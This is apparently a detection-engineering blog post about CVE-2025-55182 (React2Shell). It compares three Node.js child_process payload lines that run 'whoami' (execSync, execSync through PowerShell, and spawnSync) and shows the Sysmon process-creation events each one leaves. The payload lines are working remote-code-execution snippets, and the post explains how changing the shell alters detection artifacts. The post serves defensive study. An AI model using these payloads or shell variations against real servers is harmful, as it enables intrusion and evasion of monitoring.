When I first started digging into CVE-2025-55182 (React2Shell), I noticed the most common exploit pattern shared online and in proof-of-concept repos (like msanft/CVE-2025-55182) used child_process.execSync with unsanitized input.
res = process.mainModule.require('child_process').execSync('whoami', {timeout: 10000}).toString().trim();Running this, I saw it executed any system command, resulting in remote code execution (RCE). Here’s the Sysmon event I observed:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
<EventID>1</EventID>
<Version>5</Version>
<Level>4</Level>
<Task>1</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="2025-12-05T10:17:33.3745747Z" />
<EventRecordID>57784</EventRecordID>
<Correlation />
<Execution ProcessID="3116" ThreadID="1656" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>swachchhanda</Computer>
<Security UserID="S-1-5-18" />
</System>
<EventData>
<Data Name="RuleName">-</Data>
<Data Name="UtcTime">2025-12-05 10:17:33.368</Data>
<Data Name="ProcessGuid">{0197231e-b13d-6932-c60d-000000000900}</Data>
<Data Name="ProcessId">3232</Data>
<Data Name="Image">C:\Windows\System32\whoami.exe</Data>
<Data Name="FileVersion">10.0.26100.1 (WinBuild.160101.0800)</Data>
<Data Name="Description">whoami - displays logged on user information</Data>
<Data Name="Product">Microsoft® Windows® Operating System</Data>
<Data Name="Company">Microsoft Corporation</Data>
<Data Name="OriginalFileName">whoami.exe</Data>
<Data Name="CommandLine">whoami</Data>
<Data Name="CurrentDirectory">C:\Users\xodih\Downloads\CVE-2025-55182-main\CVE-2025-55182-main\test-server\</Data>
<Data Name="User">swachchhanda\xodih</Data>
<Data Name="LogonGuid">{0197231e-bbfb-692f-3c8c-050000000000}</Data>
<Data Name="LogonId">0x58c3c</Data>
<Data Name="TerminalSessionId">1</Data>
<Data Name="IntegrityLevel">Medium</Data>
<Data Name="Hashes">MD5=1DCB745FED20141931870322DDDDB27F,SHA256=05F24553698D8F2383D2F2EAE3DD40029DBA609BF87B809E4E8D54763417CE4B,IMPHASH=F695050407800C02D6AAC8AD7DDDB5D0</Data>
<Data Name="ParentProcessGuid">{0197231e-b13d-6932-c50d-000000000900}</Data>
<Data Name="ParentProcessId">7216</Data>
<Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data>
<Data Name="ParentCommandLine">C:\WINDOWS\system32\cmd.exe /d /s /c "whoami"</Data>
<Data Name="ParentUser">swachchhanda\xodih</Data>
</EventData>
</Event>I observed that the process tree shows Node.js spawning the payload via cmd.exe, using parameters like cme.exe /d /s /c '...'. The commands were being proxied through cmd.exe.
This made me wonder if it was possible to invoke these binaries directly or change the proxy (Maybe/Maybe not). I want to check if it's possible.
After some quick research, I found that most ReactJS server-related payloads rely on .execSync. Seeking an alternative and finding little information elsewhere, I decided to refer to the official documentation, which I should have done in the first place :wink
The documentation explains that specifying the shell option in the .execSync function allows commands to execute in any shell available on the system (such as cmd.exe, bash, or powershell). This flexibility can influence how commands are run and may alter the resulting process tree, detection methods, and logging artifacts. I decided to give it a try by running it via PowerShell.
res = process.mainModule.require('child_process').execSync('whoami', {timeout: 10000, shell: 'powershell'}).toString().trim();This time, the event looked different:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
<EventID>1</EventID>
<Version>5</Version>
<Level>4</Level>
<Task>1</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="2025-12-05T15:00:43.7053136Z" />
<EventRecordID>58823</EventRecordID>
<Correlation />
<Execution ProcessID="3116" ThreadID="1656" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>swachchhanda</Computer>
<Security UserID="S-1-5-18" />
</System>
<EventData>
<Data Name="RuleName">-</Data>
<Data Name="UtcTime">2025-12-05 15:00:43.670</Data>
<Data Name="ProcessGuid">{0197231e-f39b-6932-2610-000000000900}</Data>
<Data Name="ProcessId">5676</Data>
<Data Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
<Data Name="FileVersion">10.0.26100.1 (WinBuild.160101.0800)</Data>
<Data Name="Description">Windows PowerShell</Data>
<Data Name="Product">Microsoft® Windows® Operating System</Data>
<Data Name="Company">Microsoft Corporation</Data>
<Data Name="OriginalFileName">PowerShell.EXE</Data>
<Data Name="CommandLine">powershell -c whoami</Data>
<Data Name="CurrentDirectory">C:\Users\xodih\Downloads\CVE-2025-55182-main\CVE-2025-55182-main\test-server\</Data>
<Data Name="User">swachchhanda\xodih</Data>
<Data Name="LogonGuid">{0197231e-bbfb-692f-3c8c-050000000000}</Data>
<Data Name="LogonId">0x58c3c</Data>
<Data Name="TerminalSessionId">1</Data>
<Data Name="IntegrityLevel">Medium</Data>
<Data Name="Hashes">MD5=1736263E02468939F808C0528E8DBB7E,SHA256=1F9FFC2227F8DEA8B771D543C464CF8166C22A39420A5322B5892A640C4B34B6,IMPHASH=68A9FF9C8D0D4655E46E1A7A190A41D2</Data>
<Data Name="ParentProcessGuid">{0197231e-f38c-6932-1d10-000000000900}</Data>
<Data Name="ParentProcessId">14768</Data>
<Data Name="ParentImage">C:\Users\xodih\AppData\Local\Temp\bun-node-274e01c73\node.exe</Data>
<Data Name="ParentCommandLine">C:\Users\xodih\AppData\Local\Temp\bun-node-274e01c73\node.exe C:\Users\xodih\Downloads\CVE-2025-55182-main\CVE-2025-55182-main\test-server\node_modules\next\dist\server\lib\start-server.js</Data>
<Data Name="ParentUser">swachchhanda\xodih</Data>
</EventData>
</Event>Digging deeper, I found that the child_process module in Node.js provides several functions for creating child processes, both asynchronously and synchronously (docs). These include:
- Asynchronous process creation:
exec,execFile,fork,spawn
- Synchronous process creation:
execSync,execFileSync,spawnSync
All these functions allow for different ways to execute system commands or binaries, with some using a shell by default (like exec/execSync) and others running binaries directly (like spawn/spawnSync/execFileSync).
Among these, I decided to use spawnSync, which runs binaries directly and does not use a shell by default. Its dynamic behavior was consistent with execFileSync, making it useful for detection and analysis.
var res=process.mainModule.require('child_process').spawnSync('whoami',{'timeout':10000}).toString().trim();This executed whoami.exe as a direct child of Node.js:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
<EventID>1</EventID>
<Version>5</Version>
<Level>4</Level>
<Task>1</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="2025-12-06T06:20:56.8504221Z" />
<EventRecordID>66607</EventRecordID>
<Correlation />
<Execution ProcessID="3968" ThreadID="4204" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>swachchhanda</Computer>
<Security UserID="S-1-5-18" />
</System>
<EventData>
<Data Name="RuleName">-</Data>
<Data Name="UtcTime">2025-12-06 06:20:56.829</Data>
<Data Name="ProcessGuid">{0197231e-cb48-6933-1803-000000000a00}</Data>
<Data Name="ProcessId">8972</Data>
<Data Name="Image">C:\Windows\System32\whoami.exe</Data>
<Data Name="FileVersion">10.0.26100.1 (WinBuild.160101.0800)</Data>
<Data Name="Description">whoami - displays logged on user information</Data>
<Data Name="Product">Microsoft® Windows® Operating System</Data>
<Data Name="Company">Microsoft Corporation</Data>
<Data Name="OriginalFileName">whoami.exe</Data>
<Data Name="CommandLine">whoami</Data>
<Data Name="CurrentDirectory">C:\Users\xodih\Downloads\CVE-2025-55182-main\CVE-2025-55182-main\test-server\</Data>
<Data Name="User">swachchhanda\xodih</Data>
<Data Name="LogonGuid">{0197231e-d3f7-6933-4b9d-010000000000}</Data>
<Data Name="LogonId">0x19d4b</Data>
<Data Name="TerminalSessionId">1</Data>
<Data Name="IntegrityLevel">Medium</Data>
<Data Name="Hashes">MD5=1DCB745FED20141931870322DDDDB27F,SHA256=05F24553698D8F2383D2F2EAE3DD40029DBA609BF87B809E4E8D54763417CE4B,IMPHASH=F695050407800C02D6AAC8AD7DDDB5D0</Data>
<Data Name="ParentProcessGuid">{0197231e-cb29-6933-0d03-000000000a00}</Data>
<Data Name="ParentProcessId">7312</Data>
<Data Name="ParentImage">C:\Users\xodih\AppData\Local\Temp\bun-node-274e01c73\node.exe</Data>
<Data Name="ParentCommandLine">C:\Users\xodih\AppData\Local\Temp\bun-node-274e01c73\node.exe C:\Users\xodih\Downloads\CVE-2025-55182-main\CVE-2025-55182-main\test-server\node_modules\next\dist\server\lib\start-server.js</Data>
<Data Name="ParentUser">swachchhanda\xodih</Data>
</EventData>
</Event>Thus, the key takeaway is that attackers can achieve RCE via various Node.js methods (execSync, spawnSync, with/without a shell), each leaving different process trees and detection artifacts. Monitoring only for node.exe spawning suspicious processes would have missed attacks that proxy commands through shells like cmd.exe or powershell.exe. Thus, hands-on testing and detailed process monitoring (e.g., with Sysmon) helped me to uncover subtle attack patterns and helped me understand the attack patterns much better. It's easy to write rules; however, such hands-on approaches can help detection engineers to write more refined rules.
I would also like to thanks Nasreddine Bencherchali for the thoughtful feedback and comments.